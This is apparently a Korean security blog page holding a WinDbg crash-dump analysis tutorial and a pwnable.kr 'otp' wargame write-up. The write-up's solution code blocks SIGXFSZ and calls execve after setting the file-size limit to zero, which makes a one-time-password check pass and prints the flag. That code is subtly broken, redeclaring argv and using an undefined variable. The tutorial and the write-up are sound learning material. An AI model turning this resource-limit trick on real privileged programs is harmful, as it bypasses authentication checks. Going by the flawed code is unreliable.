달력

4

« 2024/4 »

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
2017. 7. 9. 15:22

[Windows] Crash-dump Analysis in Windbg Security/Analysis2017. 7. 9. 15:22

Windbg를 활용한 크래시 덤프 분석을 간단히 정리한 것!!



1. 진행 환경
OS : Windows 8.1 K
Debugger : WinDbg 6.3.9600.17298 AMD64 


2. 크래쉬 덤프 생성 

시스템 속성 > 시작 및 복구 > 설정 > 디버깅 정보 쓰기 설정

[그림 1]




3. 덤프 파일이 생성될 때까지 기다리거나 외부에서 구해온다.


4. WinDbg 를 이용하여 분석한다.
4.1. File > Symbol file path 설정

4.2. File > Open Crash Dump
크래쉬 덤프 파일을 Windbg에서 연다.

4.3. 덤프파일 분석시 유용하게 사용되는 명령어
.bugcheck
해당 명령어는 버그체크 코드와 파라미터가 무엇을 나타내는지 알려준다. 버그체크 코드에 대한 정보는 windbg 에서 F1키를 누른 다음에 Bug Check Code Reference 를 검색해보면 된다. 

!drivers   //   lm t n 
해당 명령어는 Windows XP 이전 버전에서 동작한다. 이는 타겟 컴퓨터에 로드된 모든 드라이버의 정보를 보여주며 드라이버의 메모리 사용에 대한 요약 정보를 포함한다. 
이후의 버전에서는 해당 명령어를 사용할 수 없고 그와 비슷한 lm 명령어를 사용할 수 있다. lm 명령어는 로드된 모듈과 드라이버 정보를 보여준다. 이전의 !drivers 명령어와 유사하게 사용하기 위해선 lm 명령어에 t n 옵션을 주어 사용하면 된다(lm t n). 그러나 해당 명령어는 드라이버가 사용한 메모리 정보까지 포함하진 않는다. lm t n 명령어가 포함하는 정보는 start, end addresses, image names, timestamps 이다. 

[그림 2]



!analyze (-v) 
해당 명령어를 이용할 경우, 디버거 자체가 분석하여 결과를 출력해준다. 이 정보를 가지고 대략적인 예외 상황을 파악할 수 있다.

> 기타 명령어
(!kdext*.locks , !memusage , !vm , !errlog , !process , .ecxr , ln)


5. 실습
시나리오 : 블루스크린이 발생하며 해당 크래쉬 덤프파일을 생성하였다. 이를 분석하여라.

3: kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************


DPC_WATCHDOG_VIOLATION (133)
The DPC watchdog detected a prolonged run time at an IRQL of DISPATCH_LEVEL
or above.
Arguments:
Arg1: 0000000000000001, The system cumulatively spent an extended period of time at
DISPATCH_LEVEL or above. The offending component can usually be
identified with a stack trace.
Arg2: 0000000000001e00, The watchdog period.
Arg3: 0000000000000000
Arg4: 0000000000000000
// 크래쉬가 발생한 원인과 파라미터 종류
// 위 사항은 도움말(.bugcheck)에 나와있는 Bug Check Code Reference 부분에 자세히 나와있다.

[그림 3]




Debugging Details:
------------------
// 이하 내용은 발생되는 에러에 따라 다양하게 변경될 수 있다. 

DUMP_FILE_ATTRIBUTES: 0x8
  Kernel Generated Triage Dump

DPC_TIMEOUT_TYPE:  DPC_QUEUE_EXECUTION_TIMEOUT_EXCEEDED

CUSTOMER_CRASH_COUNT:  1

DEFAULT_BUCKET_ID:  WIN8_DRIVER_FAULT
// 일반적인 failure에 대한 정의다. 

BUGCHECK_STR:  0x133
// 예외코드를 나타낸다. 

PROCESS_NAME:  System
// 예외를 발생시킨 프로세스의 이름이다.

CURRENT_IRQL:  d
// 인터럽트 요청 레벨을 표시한다.

ANALYSIS_VERSION: 6.3.9600.17298 (debuggers(dbg).141024-1500) amd64fre
// 디버거의 버전정보를 나타낸다. 

LAST_CONTROL_TRANSFER:  from 0000000000000000 to fffff80277d511a0
// 스택에서의 마지막 콜을 보여준다. 이 부분을 예로 들 경우, 0x0000000000000000 주소에 있는 코드가 0xfffff80277d511a0 주소를 가지고 있는 함수를 호출 한 경우다. 이 내용은 ln(List Nearest Symbols) 명령어를 사용해서도 볼 수 있다.  

STACK_TEXT:  
ffffd001`94a37c88 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KeBugCheckEx


STACK_COMMAND:  kb
// STACK_TEXT에 포함되어 있는 정보를 다시 보고싶을 때 사용할 수 있는 명령어를 포함한다.

SYMBOL_NAME:  ANALYSIS_INCONCLUSIVE

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Unknown_Module

IMAGE_NAME:  Unknown_Image

DEBUG_FLR_IMAGE_TIMESTAMP:  0

IMAGE_VERSION:  

BUCKET_ID:  ZEROED_STACK
// 현재 failure가 속한 명확한 카테고리를 보여준다. 이 카테고리는 디버거가 분석 결과에 어떠한 정보를 담아야 할지에 대해서 결정하는데 도움을 준다.

FAILURE_BUCKET_ID:  ZEROED_STACK

ANALYSIS_SOURCE:  KM

FAILURE_ID_HASH_STRING:  km:zeroed_stack

FAILURE_ID_HASH:  {4af92c9d-8968-8d00-06f5-868dfba32e9a}

Followup: MachineOwner
---------





♧ 틀린 내용은 혼자만 아시지 마시고 저도 알려주세요 - ㅅ-!

:
Posted by einai
2017. 7. 9. 15:20

[문제풀이] pwnable.kr - ascii_easy 2017. 7. 9. 15:20

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2017. 7. 9. 15:19

[문제풀이] pwnable.kr - otp Wargames/pwnable.kr2017. 7. 9. 15:19





※ 사전지식



SIGNAL 정의 

신호는 유닉스, 유닉스 계열, POSIX 호환 운영체제에 쓰이는 제한된 형태의 프로세스 간 통신이다. 

신호는 프로세스나 동일 프로세스 내의 특정 스레드로 전달되는 비동기식 통보이다. 

출처 : https://ko.wikipedia.org/wiki/유닉스_신호




사용자가 임의로 발생시킬 수 있는 신호도 존재한다.

  • Ctrl+C : SIGINT 발생, 기본적으로 프로세스를 종료하는 역할을 한다.
  • Ctrl+Z : SIGTSTP 발생, 기본적으로 프로세스가 실행을 유예시키는 역할을 한다.
  • Ctrl+\ : SIGQUIT 발생, 기본적으로 프로세스를 종료시킨 뒤 코어를 덤프하는 역할을 한다.
  • Ctrl+T : SIGINFO 발생, 명령에서 지원하는 경우 기본적으로 운영체제가 실행 중인 명령에 대한 정보를 표시한다.


요즘 운영체제에서 이러한 기본 키 조합들은 stty 명령으로 변경시킬 수 있다. 




SIGNAL 종류 


출처 : https://ko.wikipedia.org/wiki/유닉스_신호





ulimit 명령어


해당 명령어는 프로세스의 자원 한도를 설정하는 명령으로 Soft 한도와 Hard 한도 두 가지가 존재한다.


Soft  : 새로운 프로그램을 생성하면 기본으로 적용되는 한도

Hard : 소프트 한도에서 최대로 늘릴 수 있는 한도 


  • ulimit [옵션] 값

-a : 모든 제한 사항을 보여줌.

-c : 최대 코어 파일 사이즈

-d : 프로세스 데이터 세그먼트의 최대 크기

-f : shell에 의해 만들어질 수 있는 파일의 최대 크기

-s : 최대 스택 크기

-p : 파이프 크기

-n : 오픈 파일의 최대수

-u : 오픈파일의 최대수

-v : 최대 가상메모리의 양

-S : soft 한도

-H : hard 한도


 

  • 항목 설명 

core file size          (blocks, -c) 0                        

       // 코어파일의 최대크기

data seg size           (kbytes, -d) unlimited           

       // 프로세스의 데이터 세그먼트 최대크기

scheduling priority             (-e) 0                      

file size               (blocks, -f) unlimited           

      // 쉘에서 생성되는 파일의 최대 크기

pending signals                 (-i) 14943

max locked memory       (kbytes, -l) 64

max memory size         (kbytes, -m) unlimited       

      // resident set size의 최대 크기(메모리 최대크기)

open files                      (-n) 1024                    

      // 한 프로세스에서 열 수 있는 open file descriptor의 최대 숫자(열수 있는 최대 파일 수)

pipe size            (512 bytes, -p) 8                          

      // 512-바이트 블럭의 파이프 크기

POSIX message queues     (bytes, -q) 819200

real-time priority              (-r) 0

stack size              (kbytes, -s) 10240

cpu time               (seconds, -t) unlimited             

      // 총 누적된 CPU 시간(초)

max user processes              (-u) 1024                  

      // 단일 유저가 사용가능한 프로세스의 최대 갯수

virtual memory          (kbytes, -v) unlimited     

      // 쉘에서 사용가능 한 가상 메모리의 최대 용량

file locks                      (-x) unlimited



사전지식 끝! 




※ 문제풀이


먼저 소감을 잠시 말하자면 기발했다. 

내가 예상한 접근 방법이 다 틀렸고 다시 한번 사고의 확장을 할 수 있었다. 


문제를 낸 사람이나 푼 사람이나 기발하다.


Signal 과 ulimit 명령어의 조합으로 이런 것도 가능하다니...

아직 경험 못해본 것이 너무 많다. 



그럼 문제풀이로 들어가도록 하겠다. 


[그림 1] 문제 구동시


사이트 문제에서도 알 수 있드시 문제에서 생성한 랜덤 숫자를 맞추는 문제이다.

코드는 아래와 같다. 


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <fcntl.h>


int main(int argc, char* argv[]){

        char fname[128];

        unsigned long long otp[2];


        if(argc!=2){

                printf("usage : ./otp [passcode]\n");

                return 0;

        }


        int fd = open("/dev/urandom", O_RDONLY);

        if(fd==-1) exit(-1);


        if(read(fd, otp, 16)!=16) exit(-1);

        close(fd);


        sprintf(fname, "/tmp/%llu", otp[0]);

        FILE* fp = fopen(fname, "w");

        if(fp==NULL){ exit(-1); }

        fwrite(&otp[1], 8, 1, fp);

        fclose(fp);


        printf("OTP generated.\n");


        unsigned long long passcode=0;

        FILE* fp2 = fopen(fname, "r");

        if(fp2==NULL){ exit(-1); }

        fread(&passcode, 8, 1, fp2);

        fclose(fp2);


        if(strtoul(argv[1], 0, 16) == passcode){

                printf("Congratz!\n");

                system("/bin/cat flag");

        }

        else{

                printf("OTP mismatch\n");

        }


        unlink(fname);

        return 0;

}


위 코드에서 굵은 글자 형태로 표현한 것이 핵심인 듯하다. 


쉘에서 파일을 생성하는 과정이다. 이제 저 부분을 가지고 장난을 친다. 


쉘에서 생성할 수 있는 파일의 크기를 0으로 제한한다.

이럴 경우 SIGXFSZ 신호가 발생하는데 이를 무시하고 프로세스를 동작할 경우 비교 값은 NULL이 된다. 

따라서 내가 NULL을 입력할 경우 조건이 만족하면서 플래그 값을 알 수 있다. 


어메이징!! 쇼킹!! 



[그림 2] 정답



문제풀이에 사용된 소스는 아래와 같다 .

#include <stdio.h>

#include <stdlib.h>

#include <signal.h>



int main(int argc, char*argv[]) {


  sigset_t mask;

  sigemptyset(&mask);

  sigaddset(&mask, SIGXFSZ);


  sigprocmask(SIG_BLOCK, &mask, NULL);


  char *argv[] = { "otp", "\x00", NULL};

  char *env[] = {NULL};


  execve(argv[1], arg, env);

 

  return 0;

}



문제풀이 끝! 



색다른 방법을 배울수 있는 좋은 문제였따!!





:
Posted by einai